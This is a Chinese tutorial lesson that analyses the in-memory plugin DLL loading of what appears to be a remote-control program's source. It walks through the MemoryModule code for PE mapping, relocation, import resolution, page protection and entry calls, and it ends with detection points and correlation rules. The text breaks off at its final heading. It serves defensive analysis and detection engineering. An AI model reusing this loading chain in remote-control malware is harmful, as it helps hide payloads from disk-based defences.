14 / 52 插件与被控运行机制

第 14 课:插件 DLL 内存加载

# 第 14 课:插件 DLL 内存加载

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、内存 PE 加载原理、企业检测工程。
本课只解释源码中的插件 DLL 内存加载机制、工程收益和防御检测点,不提供未授权环境中的复用步骤、规避思路或攻击流程。

第 13 课讲清楚了插件数据如何到达登录模块:主控先发插件元数据,登录模块判断本地缓存是否可用,必要时请求主控下发完整插件数据,然后写入 HKCU\Console\0/1,最后创建线程进入 Loop_DllManager

本课只接着回答一个问题:Loop_DllManager 里的 MemoryLoadLibrary 到底做了什么?

# 1. 本课学习目标

问题 本课回答
内存加载和普通 LoadLibrary 有什么不同 普通加载输入是磁盘路径;内存加载输入是已经在内存里的 PE/DLL 字节
为什么项目要用内存加载 便于主控按需下发插件、缓存二进制数据、减少本地 DLL 路径依赖、运行前注入连接配置
MemoryModule 是什么 一个第三方内存 PE 加载器,来自 Joachim Bauch 的 MemoryModule,MPL 2.0 许可
内存加载做了哪些步骤 校验 PE 头、分配映像内存、复制节区、重定位、解析导入表、修正节权限、执行 TLS/入口、查导出函数
防御侧怎么检测 关联插件大包、注册表二进制缓存、内存 PE 映射、动态导出解析、功能插件新连接

# 2. 源码目录和文件

文件 作用
主插件\登录模块\登录模块\LoginManager.cpp 登录模块接收插件数据、缓存插件、启动 Loop_DllManager
主插件\登录模块\登录模块\LoginManager.h DllSendDataDllData、加载模式等结构声明
主插件\登录模块\登录模块\MemoryModule.h 内存加载器对外接口
主插件\登录模块\登录模块\MemoryModule.cpp 内存 PE 加载器实现

MemoryModule 是第三方组件,不是项目作者从零实现的 PE Loader。它的用途是:把一段 DLL/EXE 字节当作 PE 映像加载到当前进程内存里,并提供类似 LoadLibrary / GetProcAddress / FreeLibrary 的接口。

# 3. 内存加载在整体链路中的位置

3. 内存加载在整体链路中的位置(配图)

把第 13 课和本课接起来,完整链路是:

主控功能窗口
  -> COMMAND_DLLMAIN
  -> 登录模块查 g_vecDllDatas / HKCU\Console\0/1
  -> 缓存缺失时 TOKEN_SENDLL 请求插件数据
  -> COMMAND_SENDLL 接收 DllSendData + DLL 数据
  -> 写入注册表二进制缓存
  -> _beginthreadex 进入 Loop_DllManager
  -> MemoryLoadLibrary 加载内存中的 DLL 字节
  -> MemoryGetProcAddress("Main")
  -> 插件 Main(ip, port, istcp, false)
1
2
3
4
5
6
7
8
9
10

新手容易误解的一点是:MemoryLoadLibrary 不是“把 DLL 文件读进内存再调用 LoadLibrary”。普通 LoadLibrary 仍然需要一个文件路径,并由 Windows Loader 完成映射。这里的 MemoryLoadLibrary 输入已经是一段内存字节,它自己完成一部分 Windows Loader 的工作。

# 4. 为什么要做内存加载

先从工程收益说起。理解收益,才能理解为什么这类实现对企业安全也更敏感。

工程收益 在本项目里的表现 防御侧含义
按需分发插件 主控只在需要时发送具体插件 网络上会出现“命令后跟大块插件数据”的模式
减少磁盘 DLL 路径依赖 Release 分支不要求目标机已有同名 DLL 文件 普通 DLL 加载日志可能不完整
支持本地缓存 插件数据写入 HKCU\Console\0/1 注册表大块二进制值成为关键证据
运行前改配置 插件数据加载前可写入 IP、端口、协议等配置 二进制数据中出现运行期配置替换痕迹
便于 x86/x64 区分 主控根据 bIsX64 返回对应插件 架构选择和插件版本协商应纳入检测
插件入口统一 加载后统一查找导出函数 Main MemoryGetProcAddress("Main") 是稳定行为线索

这些收益本身不是恶意结论。很多合法软件也会使用插件化、动态加载、热更新。但在远控类源码中,它和长连接、命令分发、注册表二进制缓存、隐私采集或注入能力组合在一起时,风险等级会明显升高。

# 5. 入口:Loop_DllManager 如何触发内存加载

第 13 课已经讲过 COMMAND_DLLMAINCOMMAND_SENDLL 如何进入 Loop_DllManager。这里重点看线程入口中的加载分支。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:8-53
// 防御分析注释:
// 1. pDllData 来自 g_vecDllDatas,里面保存插件元数据、插件二进制数据、主控地址和端口。
// 2. Debug 分支用 LoadLibrary 加载本地 DLL,便于开发者在 VS 中调试。
// 3. Release 分支用 MemoryLoadLibrary 加载内存里的 DLL 字节,普通模块加载日志可能看不到文件路径。
// 4. MemoryGetProcAddress 查找固定导出函数 Main,后续把主控连接参数传给插件。
// 5. 本课只解释防御性原理,不把这条链路作为可复用加载方法。
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
    DllData* pDllData = (DllData*)pVoid;
    typedef void (*DLLMain)(TCHAR* ip, DWORD port, BOOL istcp, BOOL RunDllEntryProc);
    DLLMain lpproc;

    switch (pDllData->m_nDllLoadMode)
    {
    case DLL_MEMLOAD:
    {
#ifdef _DEBUG
        HMODULE hDllModule = ::LoadLibrary(pDllData->m_sendDllData->szDllName);
#else
        HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
            pDllData->m_pDllData,
            pDllData->m_sendDllData->dllDataSize);
#endif

        if (hDllModule != NULL)
        {
#ifdef _DEBUG
            lpproc = (DLLMain)::GetProcAddress(hDllModule, "Main");
#else
            lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
#endif
            if (lpproc != NULL)
            {
                (*lpproc)(
                    pDllData->m_strMasterHost,
                    pDllData->m_nMasterPort,
                    pDllData->m_bIsTcp,
                    false);

#ifdef _DEBUG
                ::FreeLibrary(hDllModule);
#else
                MemoryFreeLibrary(hDllModule);
#endif
            }
        }
    }
    break;
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

这段代码把两种加载方式摆得很清楚:

分支 输入 加载器 查找入口 典型证据
Debug DLL 文件名 Windows Loader GetProcAddress 本地 DLL 路径、模块加载事件
Release DLL 内存字节 MemoryModule MemoryGetProcAddress 内存 PE、注册表二进制缓存、动态导出解析

# 6. 对外接口:MemoryModule.h

先看接口,再看实现。MemoryModule.h 暴露的几个函数和 Windows API 很像:加载、查导出、释放。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.h:35-79
// 防御分析注释:
// 1. HMEMORYMODULE 是自定义模块句柄,不是 Windows 的 HMODULE。
// 2. MemoryLoadLibrary 输入是内存地址和大小,不是 DLL 文件路径。
// 3. MemoryLoadLibraryEx 允许传入自定义分配器、依赖 DLL 加载器和导出解析器。
// 4. MemoryGetProcAddress 模拟 GetProcAddress,从内存映像的导出表里找函数。
// 5. MemoryFreeLibrary 会调用 DllMain(DLL_PROCESS_DETACH) 并释放相关内存。
typedef void *HMEMORYMODULE;
typedef void *HCUSTOMMODULE;

typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);

HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);

HMEMORYMODULE MemoryLoadLibraryEx(
    const void *,
    size_t,
    CustomAllocFunc,
    CustomFreeFunc,
    CustomLoadLibraryFunc,
    CustomGetProcAddressFunc,
    CustomFreeLibraryFunc,
    void *);

FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
void MemoryFreeLibrary(HMEMORYMODULE);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

MemoryLoadLibrary 只是一个默认包装函数,真正逻辑在 MemoryLoadLibraryEx

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:539-547
// 防御分析注释:
// 1. 默认分配器最终调用 VirtualAlloc / VirtualFree。
// 2. 默认依赖解析器最终调用 LoadLibraryA / GetProcAddress。
// 3. 这说明内存加载并不等于完全不碰系统 Loader:依赖 DLL 仍可能走普通加载路径。
HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size)
{
    return MemoryLoadLibraryEx(
        data,
        size,
        MemoryDefaultAlloc,
        MemoryDefaultFree,
        MemoryDefaultLoadLibrary,
        MemoryDefaultGetProcAddress,
        MemoryDefaultFreeLibrary,
        NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 7. 内存中的 PE 布局

7. 内存中的 PE 布局(配图)

内存加载不是把文件内容原样拷贝到一块连续内存就结束。PE 文件在磁盘上的布局和映射到内存后的布局不同:

磁盘文件视角 内存映像视角
PointerToRawData 指向文件偏移 VirtualAddress 指向映像内 RVA
节数据按文件对齐 节数据按内存对齐
导入表只是名称和 thunk 信息 IAT 需要被填成真实函数地址
原始 ImageBase 只是期望基址 实际基址可能不同,需要重定位
节权限来自 PE 节属性 加载后要用 VirtualProtect 设置页面权限

所以 MemoryLoadLibraryEx 要做的工作,本质上是在当前进程里“手动映射”一个 DLL。

# 8. 第一步:校验 DOS 头、NT 头和架构

MemoryLoadLibraryEx 首先确认输入字节至少像一个 PE 文件,并且架构和当前进程匹配。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:544-613
// 防御分析注释:
// 1. CheckSize 防止读取越界,避免把短缓冲区当成 PE 解析。
// 2. IMAGE_DOS_SIGNATURE 对应 MZ,IMAGE_NT_SIGNATURE 对应 PE。
// 3. FileHeader.Machine 必须等于 HOST_MACHINE,否则 x86/x64 不匹配会被拒绝。
// 4. 如果企业侧扫描到内存中出现 MZ/PE 头,但没有对应磁盘模块,应重点关注。
HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, ...)
{
    PIMAGE_DOS_HEADER dos_header;
    PIMAGE_NT_HEADERS old_header;

    if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER))) {
        return NULL;
    }

    dos_header = (PIMAGE_DOS_HEADER)data;
    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
        SetLastError(ERROR_BAD_EXE_FORMAT);
        return NULL;
    }

    if (!CheckSize(size, dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS))) {
        return NULL;
    }

    old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)data)[dos_header->e_lfanew];
    if (old_header->Signature != IMAGE_NT_SIGNATURE) {
        SetLastError(ERROR_BAD_EXE_FORMAT);
        return NULL;
    }

    if (old_header->FileHeader.Machine != HOST_MACHINE) {
        SetLastError(ERROR_BAD_EXE_FORMAT);
        return NULL;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

这一段和第 17 课的 x86/x64 双产物是连在一起的:主控根据被控位数下发对应插件,MemoryModule 又在本地校验 PE 的 Machine 字段,避免把错误架构的 DLL 映射进当前进程。

# 9. 第二步:分配映像内存

校验通过后,加载器会尝试按 PE 原始 ImageBase 分配内存。如果失败,再选择任意地址分配。任意地址分配成功后,后面就必须做重定位。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:620-705
// 防御分析注释:
// 1. alignedImageSize 来自 OptionalHeader.SizeOfImage 按页面大小对齐后的结果。
// 2. 优先使用 old_header->OptionalHeader.ImageBase,是为了减少重定位需求。
// 3. 分配权限先是 PAGE_READWRITE,后续 FinalizeSections 会按节属性改成更细权限。
// 4. 内存侧检测可关注大块 MEM_RESERVE | MEM_COMMIT 分配后出现 PE 头和可执行节。
code = (unsigned char *)allocMemory(
    (LPVOID)(old_header->OptionalHeader.ImageBase),
    alignedImageSize,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE,
    userdata);

if (code == NULL) {
    code = (unsigned char *)allocMemory(
        NULL,
        alignedImageSize,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE,
        userdata);

    if (code == NULL) {
        SetLastError(ERROR_OUTOFMEMORY);
        return NULL;
    }
}

result = (PMEMORYMODULE)HeapAlloc(
    GetProcessHeap(),
    HEAP_ZERO_MEMORY,
    sizeof(MEMORYMODULE));

result->codeBase = code;
result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
result->alloc = allocMemory;
result->free = freeMemory;
result->loadLibrary = loadLibrary;
result->getProcAddress = getProcAddress;
result->freeLibrary = freeLibrary;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

这里的关键变量:

变量 含义
data 输入的插件 DLL 字节
size 输入字节长度,来自 DllSendData::dllDataSize
old_header 原始 PE 头,仍指向输入数据
code 新分配的内存映像基址
result->codeBase MemoryModule 后续使用的模块基址

# 10. 第三步:复制 PE 头和节区

映像内存分配好后,加载器先复制 PE 头,再把每个节的数据从文件偏移复制到内存中的 RVA 位置。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:700-714
// 防御分析注释:
// 1. SizeOfHeaders 控制 PE 头复制范围。
// 2. result->headers 指向新内存中的 NT 头,不再指向原始输入数据。
// 3. ImageBase 被更新为实际分配出来的 code 地址。
// 4. CopySections 会把磁盘节布局转换成内存节布局。
headers = (unsigned char *)allocMemory(
    code,
    old_header->OptionalHeader.SizeOfHeaders,
    MEM_COMMIT,
    PAGE_READWRITE,
    userdata);

memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)headers)[dos_header->e_lfanew];
result->headers->OptionalHeader.ImageBase = (uintptr_t)code;

if (!CopySections((const unsigned char *)data, size, old_header, result)) {
    goto error;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

CopySections 是新手理解 PE 映射的重点。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:176-229
// 防御分析注释:
// 1. section->PointerToRawData 是节在输入 DLL 文件字节中的偏移。
// 2. section->VirtualAddress 是节映射到内存映像后的 RVA。
// 3. SizeOfRawData 为 0 的节可能是未初始化数据,加载器会分配并清零。
// 4. 所有节初始都用 PAGE_READWRITE,后面再根据节属性收紧权限。
static BOOL CopySections(
    const unsigned char *data,
    size_t size,
    PIMAGE_NT_HEADERS old_headers,
    PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);

    for (int i = 0; i < module->headers->FileHeader.NumberOfSections; i++, section++) {
        if (section->SizeOfRawData == 0) {
            int section_size = old_headers->OptionalHeader.SectionAlignment;
            unsigned char *dest = (unsigned char *)module->alloc(
                codeBase + section->VirtualAddress,
                section_size,
                MEM_COMMIT,
                PAGE_READWRITE,
                module->userdata);

            dest = codeBase + section->VirtualAddress;
            memset(dest, 0, section_size);
            continue;
        }

        if (!CheckSize(size, section->PointerToRawData + section->SizeOfRawData)) {
            return FALSE;
        }

        unsigned char *dest = (unsigned char *)module->alloc(
            codeBase + section->VirtualAddress,
            section->SizeOfRawData,
            MEM_COMMIT,
            PAGE_READWRITE,
            module->userdata);

        dest = codeBase + section->VirtualAddress;
        memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
        section->Misc.PhysicalAddress = (DWORD)((uintptr_t)dest & 0xffffffff);
    }

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

防御侧看内存时,可以关注:内存区域里存在 PE 头,节边界与 PE 节表一致,但没有普通 LoadLibrary 对应的磁盘模块路径。

# 11. 第四步:修正重定位

如果实际加载基址和 PE 原始 ImageBase 不一致,代码或数据里写死的绝对地址就需要修正。PerformBaseRelocation 负责遍历重定位表。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:382-436
// 防御分析注释:
// 1. directory 指向 IMAGE_DIRECTORY_ENTRY_BASERELOC,也就是重定位目录。
// 2. delta 是实际 ImageBase 与原始 ImageBase 的差值。
// 3. x86 常见 IMAGE_REL_BASED_HIGHLOW,x64 常见 IMAGE_REL_BASED_DIR64。
// 4. 如果没有重定位信息且基址又变化,加载通常会失败。
static BOOL PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_DATA_DIRECTORY directory =
        GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);

    if (directory->Size == 0) {
        return (delta == 0);
    }

    PIMAGE_BASE_RELOCATION relocation =
        (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress);

    for (; relocation->VirtualAddress > 0; ) {
        unsigned char *dest = codeBase + relocation->VirtualAddress;
        unsigned short *relInfo =
            (unsigned short*)OffsetPointer(relocation, IMAGE_SIZEOF_BASE_RELOCATION);

        for (DWORD i = 0;
             i < ((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2);
             i++, relInfo++) {
            int type = *relInfo >> 12;
            int offset = *relInfo & 0xfff;

            switch (type)
            {
            case IMAGE_REL_BASED_HIGHLOW:
                *(DWORD *)(dest + offset) += (DWORD)delta;
                break;

#ifdef _WIN64
            case IMAGE_REL_BASED_DIR64:
                *(ULONGLONG *)(dest + offset) += (ULONGLONG)delta;
                break;
#endif
            }
        }

        relocation =
            (PIMAGE_BASE_RELOCATION)OffsetPointer(relocation, relocation->SizeOfBlock);
    }

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

这也是 x86/x64 差异的一个具体落点:x64 下地址宽度是 64 位,因此重定位项需要处理 DIR64

# 12. 第五步:解析导入表

DLL 里调用的外部 API 不能只靠函数名存在。加载器必须找到依赖 DLL,并把 IAT 填成真实函数地址。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:439-493
// 防御分析注释:
// 1. IMAGE_DIRECTORY_ENTRY_IMPORT 指向导入表目录。
// 2. importDesc->Name 是依赖 DLL 名称,例如 kernel32.dll、user32.dll 等。
// 3. 默认 loadLibrary 回调最终调用 LoadLibraryA,所以依赖 DLL 仍会走系统加载路径。
// 4. getProcAddress 回调最终调用 GetProcAddress,把 IAT 项改成真实函数地址。
static BOOL BuildImportTable(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_DATA_DIRECTORY directory =
        GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);

    if (directory->Size == 0) {
        return TRUE;
    }

    PIMAGE_IMPORT_DESCRIPTOR importDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress);

    for (; importDesc->Name; importDesc++) {
        HCUSTOMMODULE handle = module->loadLibrary(
            (LPCSTR)(codeBase + importDesc->Name),
            module->userdata);

        uintptr_t *thunkRef;
        FARPROC *funcRef;
        if (importDesc->OriginalFirstThunk) {
            thunkRef = (uintptr_t *)(codeBase + importDesc->OriginalFirstThunk);
            funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk);
        } else {
            thunkRef = (uintptr_t *)(codeBase + importDesc->FirstThunk);
            funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk);
        }

        for (; *thunkRef; thunkRef++, funcRef++) {
            if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
                *funcRef = module->getProcAddress(
                    handle,
                    (LPCSTR)IMAGE_ORDINAL(*thunkRef),
                    module->userdata);
            } else {
                PIMAGE_IMPORT_BY_NAME thunkData =
                    (PIMAGE_IMPORT_BY_NAME)(codeBase + (*thunkRef));
                *funcRef = module->getProcAddress(
                    handle,
                    (LPCSTR)&thunkData->Name,
                    module->userdata);
            }
        }
    }

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

这里能看出一个重要结论:内存加载并不意味着完全没有系统可见行为。依赖 DLL 的加载、API 解析、内存页权限变化、线程执行仍然可能产生检测线索。

# 13. 第六步:设置节权限

节区复制时先使用 PAGE_READWRITE,只是为了方便写入。真正执行前,FinalizeSections 会根据节属性设置权限。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:237-305
// 防御分析注释:
// 1. ProtectionFlags 把“可执行、可读、可写”三种节属性转换成 Windows 页面权限。
// 2. .text 类代码节通常会变成 PAGE_EXECUTE_READ。
// 3. 同时可写又可执行的页面需要重点关注,但这里的最终权限取决于 PE 节属性。
// 4. 企业侧应关联 VirtualAlloc、VirtualProtect 和线程起始地址,而不是只看单点 API。
static int ProtectionFlags[2][2][2] = {
    {
        {PAGE_NOACCESS, PAGE_WRITECOPY},
        {PAGE_READONLY, PAGE_READWRITE},
    }, {
        {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
        {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
    },
};

static BOOL FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData)
{
    BOOL executable =
        (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
    BOOL readable =
        (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
    BOOL writeable =
        (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;

    DWORD protect = ProtectionFlags[executable][readable][writeable];

    DWORD oldProtect;
    if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {
        return FALSE;
    }

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

这一步是防御侧非常关心的边界:一个原本可写的内存映像,在映射完成后被改成可执行权限。单独 VirtualProtect 未必恶意,但如果前面刚出现插件大包、PE 头、注册表缓存和加载线程,就应该提高优先级。

# 14. 第七步:执行 TLS 和 DLL 入口

PE 支持 TLS 回调。MemoryModule 会在主入口前先执行 TLS 回调,再调用 DLL 的入口点。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:359-379、735-755
// 防御分析注释:
// 1. ExecuteTLS 会遍历 TLS 回调并传入 DLL_PROCESS_ATTACH。
// 2. AddressOfEntryPoint 是 PE 可选头中的入口 RVA。
// 3. 如果是 DLL,入口函数按 DllMain 形式调用。
// 4. 这意味着插件代码可能在导出函数 Main 被调用前就已有初始化行为。
static BOOL ExecuteTLS(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_DATA_DIRECTORY directory =
        GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);

    if (directory->VirtualAddress == 0) {
        return TRUE;
    }

    PIMAGE_TLS_DIRECTORY tls =
        (PIMAGE_TLS_DIRECTORY)(codeBase + directory->VirtualAddress);
    PIMAGE_TLS_CALLBACK* callback =
        (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;

    while (callback && *callback) {
        (*callback)((LPVOID)codeBase, DLL_PROCESS_ATTACH, NULL);
        callback++;
    }

    return TRUE;
}

if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
    if (result->isDLL) {
        DllEntryProc DllEntry =
            (DllEntryProc)(LPVOID)(code + result->headers->OptionalHeader.AddressOfEntryPoint);
        BOOL successfull =
            (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
        result->initialized = TRUE;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

这也是为什么检测不能只盯 MemoryGetProcAddress("Main")。如果 DLL 里有 TLS 或 DllMain 初始化逻辑,行为可能出现在 Main 之前。

# 15. 第八步:查找导出函数 Main

内存模块加载完成后,登录模块调用 MemoryGetProcAddress(hDllModule, "Main")。这个函数不是问系统 Loader,而是自己解析内存映像里的导出表。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:780-856
// 防御分析注释:
// 1. IMAGE_DIRECTORY_ENTRY_EXPORT 指向导出表。
// 2. AddressOfNames / AddressOfNameOrdinals / AddressOfFunctions 共同完成名字到函数 RVA 的映射。
// 3. 本工程固定查找 Main,说明所有功能插件约定了统一导出入口。
// 4. 企业侧可把固定导出名、内存 PE 和插件连接行为放在同一条检测链。
FARPROC MemoryGetProcAddress(HMEMORYMODULE mod, LPCSTR name)
{
    PMEMORYMODULE module = (PMEMORYMODULE)mod;
    unsigned char *codeBase = module->codeBase;

    PIMAGE_DATA_DIRECTORY directory =
        GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_EXPORT);
    if (directory->Size == 0) {
        SetLastError(ERROR_PROC_NOT_FOUND);
        return NULL;
    }

    PIMAGE_EXPORT_DIRECTORY exports =
        (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress);

    DWORD *nameRef = (DWORD *)(codeBase + exports->AddressOfNames);
    WORD *ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals);

    // 源码中会构建导出名表并用二分查找定位 name。
    // 找到后,根据 AddressOfFunctions 中的 RVA 计算真实函数地址。
    return (FARPROC)(LPVOID)(
        codeBase + (*(DWORD *)(codeBase + exports->AddressOfFunctions + (idx * 4))));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

对于本工程,Main 的函数签名在 Loop_DllManager 里已经写死:

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:10-16
// 防御分析注释:
// 1. 所有被加载插件都要提供 Main(TCHAR*, DWORD, BOOL, BOOL) 这种入口约定。
// 2. ip/port/istcp 来自登录模块当前连接上下文。
// 3. RunDllEntryProc=false 表示插件不要求以 DLL 入口进程模式退出当前进程。
typedef void (*DLLMain)(
    TCHAR* ip,
    DWORD port,
    BOOL istcp,
    BOOL RunDllEntryProc);
1
2
3
4
5
6
7
8
9
10

# 16. 第九步:释放内存模块

插件入口返回后,Loop_DllManager 调用 MemoryFreeLibrary。它会调用 DLL 的 detach 入口,释放导出名表、依赖模块和映像内存。

// 源码位置:主插件\登录模块\登录模块\MemoryModule.cpp:858-888
// 防御分析注释:
// 1. initialized 为真时,先调用 DllMain(DLL_PROCESS_DETACH)。
// 2. nameExportsTable 是 MemoryGetProcAddress 为导出名查找建立的辅助表。
// 3. modules 保存 BuildImportTable 加载过的依赖 DLL 句柄。
// 4. codeBase 是整个内存映像的基址,最终会被释放。
void MemoryFreeLibrary(HMEMORYMODULE mod)
{
    PMEMORYMODULE module = (PMEMORYMODULE)mod;

    if (module == NULL) {
        return;
    }

    if (module->initialized) {
        DllEntryProc DllEntry =
            (DllEntryProc)(LPVOID)(
                module->codeBase +
                module->headers->OptionalHeader.AddressOfEntryPoint);
        (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
    }

    free(module->nameExportsTable);
    // 源码后续还会释放依赖模块、映像内存和 MEMORYMODULE 结构。
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

释放并不意味着没有证据。网络包、注册表缓存、日志、内存分配事件、导入解析、插件自己的功能连接,都可能留下可关联证据。

# 17. 完整时序再串一次

17. 完整时序再串一次(配图)

从源码顺序看,内存加载可以压缩成下面这条链:

Loop_DllManager
  -> MemoryLoadLibrary
    -> MemoryLoadLibraryEx
      -> 校验 MZ / PE / Machine
      -> VirtualAlloc 映像内存
      -> 复制 PE 头
      -> CopySections
      -> PerformBaseRelocation
      -> BuildImportTable
      -> FinalizeSections
      -> ExecuteTLS
      -> DllMain(DLL_PROCESS_ATTACH)
  -> MemoryGetProcAddress("Main")
  -> Main(ip, port, istcp, false)
  -> MemoryFreeLibrary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

这条链也是企业检测链:

插件命令
  -> 大块插件数据
  -> HKCU\Console\0/1 REG_BINARY
  -> 工作线程
  -> 内存 PE 映像
  -> 导入表解析 / 节权限变化
  -> 固定导出 Main
  -> 功能插件连接主控
1
2
3
4
5
6
7
8

# 18. 内存加载的能力限制

内存加载不是万能的。对新手来说,理解限制比记住函数名更重要。

限制 说明
架构必须匹配 x86 进程不能直接加载 x64 DLL,反之也一样
依赖仍要解析 依赖 DLL 缺失或导出缺失,BuildImportTable 会失败
TLS 和入口会执行 Main 之前可能已经执行初始化逻辑
不等于无痕 内存分配、权限变化、依赖加载、线程执行都可能被看到
稳定性依赖插件质量 插件导出函数签名不匹配、异常未处理、全局状态冲突都可能导致崩溃
合法软件要有签名和审计 合规插件体系应有签名校验、版本白名单、用户授权和完整日志

# 19. 企业检测点

层面 检测点 说明
网络侧 COMMAND_DLLMAINTOKEN_SENDLL、大块二进制数据 插件加载前后的协议行为
注册表侧 HKCU\Console\0/1 大块 REG_BINARY 插件缓存位置
内存侧 内存中出现 MZ/PE 头、节区布局、可执行私有页 内存 PE 映像线索
API 侧 VirtualAllocVirtualProtectLoadLibraryAGetProcAddress 手动映射和依赖解析组合
线程侧 _beginthreadex -> Loop_DllManager 插件加载线程入口
导出侧 固定导出名 Main 插件入口约定
行为侧 加载后插件再次连接主控 功能插件独立通信链路

关联逻辑可以这样设计:

同一进程 5 分钟窗口内:
  1. 收到插件命令或大块二进制网络数据
  2. 写入 HKCU\Console\0/1 REG_BINARY
  3. 创建工作线程
  4. 出现内存 PE 或可执行私有页
  5. 随后出现功能插件连接或隐私/系统管理行为

满足 3 条以上即可提升风险等级,满足 5 条应按高危远控插件加载处理。
1
2
3
4
5
6
7
8

# 20. 合法软件加固建议

